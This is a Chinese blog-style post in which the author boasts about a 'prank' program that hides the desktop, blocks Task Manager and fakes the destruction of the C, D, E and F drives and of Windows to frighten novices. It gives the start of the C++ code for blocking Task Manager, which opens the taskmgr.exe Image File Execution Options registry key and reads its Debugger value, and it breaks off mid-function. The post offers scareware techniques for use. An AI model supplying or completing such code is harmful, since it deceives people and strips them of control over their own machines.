前段时间做了一个整蛊的程序,让别人输密码,确定后将桌面其他任务、图标什么的全部隐藏,屏蔽掉任务管理器,显示摧毁F、D、E、C盘,摧毁Windows什么的,吓死一大片小白。想起来就开心。
接下来贴关键代码:
当进入整蛊模式后,首先换一个恐怖的界面,这段代码不用贴。然后屏蔽Windows任务管理器,代码如下:
void CVirusDlg::ResistTaskManger()
{
HKEY hKEY;
HKEY hKeyRoot = HKEY_LOCAL_MACHINE;
long ret = ::RegOpenKeyEx(hKeyRoot,
_T("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\taskmgr.exe"),
0, KEY_READ, &hKEY);
if(ret != ERROR_SUCCESS)//如果无法打开hKEY,则中止程序的执行
{
//AfxMessageBox(_T("taskmgr.exe not found"));
}
_TCHAR getValue[255] = {0};
DWORD keyType = REG_SZ;//定义数据类型
DWORD DataLen = 80;//定义数据长度
CString strUser = _T("Debugger");//要查询的键名称
long ret1=::RegQueryValueEx(hKEY, strUser, NULL, &keyType, (LPBYTE)getValue, &DataLen);
if(ret1!=ERROR_SUCCESS)
{
// AfxMessageBox(_T("错误:无法查询有关的注册表信息"));